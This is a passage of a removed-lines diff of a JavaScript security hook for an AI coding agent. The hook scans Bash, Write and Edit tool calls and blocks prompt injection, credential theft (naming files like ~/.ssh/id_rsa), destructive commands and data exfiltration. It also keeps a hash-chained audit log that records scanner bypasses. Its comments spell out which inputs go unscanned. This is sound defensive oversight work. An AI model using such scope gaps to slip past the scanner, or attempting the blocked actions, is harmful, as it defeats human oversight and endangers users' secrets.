- result.errors.push({
642
- lineNumber,
643
- reason: 'parse_failure',
644
- detail: 'JSON parse failed',
645
- });
646
- continue;
647
- }
648
- const hasChainFields = typeof entry.seq === 'number' && typeof entry.prevHash === 'string' && typeof entry.entryHash === 'string';
649
- if (!hasChainFields) {
650
- result.legacyEntries++;
651
- continue;
652
- }
653
- result.chainedEntries++;
654
- // Recompute entryHash and check it matches what was stored
655
- const recomputed = computeEntryHash(entry);
656
- if (recomputed !== entry.entryHash) {
657
- result.valid = false;
658
- result.errors.push({
659
- lineNumber,
660
- seq: entry.seq,
661
- reason: 'self_hash_mismatch',
662
- detail: `entryHash field does not match recomputed hash; entry was modified after writing`,
663
- });
664
- // Continue checking — we still want to report the chain link below,
665
- // but using the STORED hash so cascading errors are honest about the
666
- // physical state of the file.
667
- }
668
- // Chain link check
669
- if (prevHash === null) {
670
- // First chained entry: must be genesis (seq=0, prevHash=64x0)
671
- if (entry.seq !== 0 || entry.prevHash !== GENESIS_PREV_HASH) {
672
- result.valid = false;
673
- result.errors.push({
674
- lineNumber,
675
- seq: entry.seq,
676
- reason: 'genesis_violation',
677
- detail: `first chained entry must have seq=0 and prevHash=${GENESIS_PREV_HASH.slice(0, 8)}…; got seq=${entry.seq}, prevHash=${entry.prevHash?.slice(0, 8)}…`,
678
- });
679
- }
680
- }
681
- else {
682
- if (entry.seq !== (prevSeq ?? -1) + 1) {
683
- result.valid = false;
684
- result.errors.push({
685
- lineNumber,
686
- seq: entry.seq,
687
- reason: 'seq_gap',
688
- detail: `expected seq=${(prevSeq ?? -1) + 1}, got seq=${entry.seq}`,
689
- });
690
- }
691
- if (entry.prevHash !== prevHash) {
692
- result.valid = false;
693
- result.errors.push({
694
- lineNumber,
695
- seq: entry.seq,
696
- reason: 'hash_mismatch',
697
- detail: `prevHash=${entry.prevHash?.slice(0, 12)}… does not match predecessor entryHash=${prevHash.slice(0, 12)}…`,
698
- });
699
- }
700
- }
701
- // Move forward using the STORED entryHash. Even if recomputed mismatched,
702
- // the next entry's prevHash was written against the stored value, so we
703
- // chain on stored. The self-hash error above already flagged the breach.
704
- prevHash = entry.entryHash;
705
- prevSeq = entry.seq;
706
- }
707
- return result;
708
- }
709
- /**
710
- * Record a trust-override event in the audit log. Used when the scanner is
711
- * bypassed for any reason (stdin failure, parse failure, --log-only mode,
712
- * scan exception). Per CC frontier Q1 (auditable permission trails) — the
713
- * audit MUST capture bypasses, not just block/allow decisions, so a reviewer
714
- * can see EVERY case where the safety policy didn't run normally.
715
- *
716
- * Best-effort: never throws. The bypass already happened by the time we get
717
- * here; failure to write the audit just means the bypass is undocumented.
718
- *
719
- * Fields default to safe minimums: empty toolInput, zero risk, blocked=false
720
- * (because the tool DID run). Caller can override what it knows.
721
- */
722
- export function appendOverrideAudit(reason, partial = {}) {
723
- const entry = {
724
- timestamp: new Date().toISOString(),
725
- sessionId: partial.sessionId ?? 'unknown',
726
- toolName: partial.toolName ?? 'unknown',
727
- toolInput: partial.toolInput ?? '',
728
- riskScore: partial.riskScore ?? 0,
729
- blocked: false, // override = scanner didn't block, regardless of what it would have decided
730
- findings: partial.findings ?? 0,
731
- criticalFindings: partial.criticalFindings ?? 0,
732
- overrideReason: reason,
733
- };
734
- if (partial.note && partial.note.trim())
735
- entry.overrideNote = partial.note.trim().slice(0, 500);
736
- appendAuditLog(entry);
737
- }
738
- // ── Main hook handler ────────────────────────────────────────────────────────
739
- /**
740
- * Process a Claude Code hook event.
741
- * Called with the parsed stdin JSON from Claude Code's hook system.
742
- *
743
- * Returns:
744
- * - null: allow the tool call, print nothing
745
- * - HookDecision with decision:'block': reject the tool call
746
- */
747
- /**
748
- * Build a scan payload that is appropriate for the tool type.
749
- *
750
- * Bash / NotebookEdit: the command IS the executable — scan everything.
751
- * Exception: commands that start with grep/rg/find/ag are search operations,
752
- * not execution — strip the search term so pattern strings in args don't
753
- * trigger the scanner.
754
- *
755
- * Write / Edit / MultiEdit: the content is DATA being written to disk, not
756
- * a command being executed. Only scan the file path (destination) — that's
757
- * enough to catch writes to sensitive files (~/.ssh/id_rsa, ~/.aws/credentials).
758
- * Do NOT scan content: it produces false positives on legitimate source code
759
- * that mentions attack-shaped strings (i18n with "system prompt", README docs
760
- * describing what we block, LLM-prompt-engineering code, security tests).
761
- * The Bash surface is the right place to catch prompt-injection / code-injection
762
- * patterns; Edit-time content is data, not execution intent.
763
- */
764
- function buildScanPayload(toolName, toolInput) {
765
- if (toolName === 'Bash') {
766
- const cmd = String(toolInput.command ?? '');
767
- // Search commands — only scan the binary name and flags, not the pattern argument.
768
- // grep/rg/ag/find searching FOR dangerous strings is not dangerous.
769
- if (/^\s*(grep|rg|ag|find|awk|sed)\s/.test(cmd)) {
770
- const binary = cmd.match(/^\s*(\S+)/)?.[1] ?? cmd;
771
- return JSON.stringify({ command: binary });
772
- }
773
- return JSON.stringify({ command: cmd });
774
- }
775
- if (toolName === 'Write') {
776
- // Only scan the destination path — content is data, not a command
777
- return JSON.stringify({ file_path: toolInput.file_path ?? '' });
778
- }
779
- if (toolName === 'Edit') {
780
- // Same model as Write: scan only the destination. The old_string is
781
- // EXISTING file content (data), not execution intent — scanning it
782
- // produced false positives on legitimate edits to files containing
783
- // attack-shaped strings (e.g. i18n.js with a "system prompt" key).
784
- return JSON.stringify({ file_path: toolInput.file_path ?? '' });
785
- }
786
- if (toolName === 'MultiEdit') {
787
- // Scan file paths only
788
- const edits = Array.isArray(toolInput.edits) ? toolInput.edits : [];
789
- return JSON.stringify({ file_paths: edits.map((e) => e.file_path ?? '') });
790
- }
791
- // Unknown tool — scan everything
792
- return JSON.stringify(toolInput);
793
- }
794
- export function processHookEvent(event) {
795
- const { hook_event_name, tool_name = 'unknown', tool_input = {}, session_id = 'unknown' } = event;
796
- // Only intercept PreToolUse events
797
- if (hook_event_name !== 'PreToolUse') {
798
- return null;
799
- }
800
- // Build context-appropriate scan payload (Bash = full, Write/Edit = path only)
801
- const payload = buildScanPayload(tool_name, tool_input);
802
- // Layer 0 scan — local, no API, ~2ms
803
- const rawFindings = scanPayload(payload);
804
- // P18 slice 2 — Tier 1 hook now honors per-cwd permissions.yaml.
805
- // The hook subprocess inherits Claude Code's cwd when spawned, so
806
- // process.cwd() points at the project root where .codehere/
807
- // permissions.yaml would live. Allow-listed findings are dropped
808
- // from the BLOCK calculation but still recorded in the audit entry
809
- // so a forensic reviewer sees what was suppressed and why.
810
- const cwd = process.cwd();
811
- const { surviving: findings, allowed } = filterAllowed(rawFindings, cwd);
812
- const riskScore = calculateRiskScore(findings);
813
- const criticalFindings = findings.filter((f) => f.severity === 'critical');
814
- // Blocking threshold: critical finding OR risk score too high
815
- const blocked = criticalFindings.length > 0 || riskScore >= 60;
816
- // Build audit entry — record what got allow-listed for the trail
817
- const auditEntry = {
818
- timestamp: new Date().toISOString(),
819
- sessionId: session_id,
820
- toolName: tool_name,
821
- toolInput: payload.substring(0, 500), // truncate long inputs
822
- riskScore,
823
- blocked,
824
- findings: findings.length,
825
- criticalFindings: criticalFindings.length,
826
- };
827
- if (allowed.length > 0) {
828
- // Add to the audit row's toolInput JSON so /history can render
829
- // "X findings allow-listed by permissions.yaml" badges later.
830
- try {
831
- const parsed = JSON.parse(auditEntry.toolInput);
832
- parsed.allowedByPermissions = allowed.map((a) => ({
833
- category: a.finding.category,
834
- matched: a.finding.matched,
835
- reason: a.entry.reason ?? '(no reason given)',
836
- }));
837
- auditEntry.toolInput = JSON.stringify(parsed).substring(0, 800);
838
- }
839
- catch {
840
- // toolInput wasn't JSON (rare path); skip enrichment
841
- }
842
- }
843
- appendAuditLog(auditEntry);
844
- if (!blocked) {
845
- return null; // allow
846
- }
847
- // Build human-readable block reason
848
- const topFinding = criticalFindings[0] ?? findings[0];
849
- const categoryVoice = {
850
- 'Prompt Injection': 'Caught a prompt injection attempt',
851
- 'Credential Theft': "Stopped — this looks like it's trying to access credentials",
852
- Destructive: 'Stopped — this could delete or destroy data',
853
- 'Code Injection': 'Blocked — this pattern looks like code injection',
854
- 'Supply Chain': 'Blocked — suspicious package or dependency pattern',
855
- OWASP: 'Blocked — security misconfiguration pattern',
856
- 'Data Exfiltration': "Blocked — this looks like it's trying to send data out",
857
- };
858
- const reason = topFinding
859
- ? `[codehere] ${categoryVoice[topFinding.category] ?? 'Blocked'} — ${topFinding.description}. (matched: "${topFinding.matched}")`
860
- : `[codehere] Blocked — risk score ${riskScore}/100 is too high to allow this through`;
861
- return {
862
- decision: 'block',
863
- reason,
864
- };
865
- }
866
- // ── Hook configuration generator ────────────────────────────────────────────
867
- /**
868
- * Returns the JSON config block to add to ~/.claude/settings.json
869
- * under the "hooks" key.
870
- */
871
- export function generateHookConfig(options = {}) {
872
- const command = options.logOnly
873
- ? 'codehere scan-tool --log-only'
874
- : `codehere scan-tool${options.blockMode === 'all' ? ' --block-all' : ''}`;
875
- // Cover every tool that can mutate the filesystem or run code.
876
- // NotebookEdit added to catch Jupyter notebook writes.
877
- const hook = { type: 'command', command };
878
- return {
879
- PreToolUse: [
880
- { matcher: 'Bash', hooks: [hook] },
881
- { matcher: 'Edit', hooks: [hook] },
882
- { matcher: 'Write', hooks: [hook] },
883
- { matcher: 'MultiEdit', hooks: [hook] },
884
- { matcher: 'NotebookEdit', hooks: [hook] },
885
- ],
886
- };
887
- }
888
- //# sourceMappingURL=claude-sdk-hook.js.map